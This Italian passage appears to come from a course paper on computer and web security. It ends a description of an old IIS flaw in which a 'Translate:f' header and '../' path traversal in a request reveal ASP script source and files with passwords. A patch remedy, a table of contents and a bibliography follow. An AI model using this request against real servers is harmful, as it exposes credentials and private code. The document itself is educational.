richiesta di esecuzione di uno script ASP/ASA, inserendo nell'header della richiesta GET la stringa "Translate:f" ed aggiungendo alla fine della URL una serie di slash "../../../../". In questo modo può essere ottenuta la visualizzazione del codice sorgente di uno script oppure anche del contenuto di altri file, il che può condurre alla scoperta di informazioni delicate relative a password, account utente, path di database, etc...Rimedi: Applicazione del Service Pack 1 per Windows 2000 scaricabile direttamente http://www.html.it/menu_fr.asp?link=http://support.microsoft.com/support/kb/articles/Q260/9/10.ASP. da: INDICE Protezione dominio di protezione matrice di accesso Sicurezza autenticazione dell’utente;password pericoli per i programmi: cavallo di troia trabocchetti pericoli per il sistema: worm virus Antivirus Sicurezza e Protezione sul web Individuazione dei rischi Un approccio per il miglioramento dei livelli di sicurezza Scelta del sistema operativo Configurazione della rete Configurazione di base del server Uso di programmi esterni e script Progettazione web di qualità Identificazione ed uso di meccanismi di LOGGING e AUDITING Il mantenimento di integrità delle risorse. Rassegna degli “exploit” storicamente più famosi. BIBLIOGRAFIA Sistemi Operativi – Silbershatz e Galvin – ADDISON WESLEY Guida ai VIRUS dei Computer – Haynes – Jackson libri. La Sicurezza in Windows 2000 – Schmidt – McGraw HILL. HACK PROOFING – Russel & Cunningam – McGrawHILL.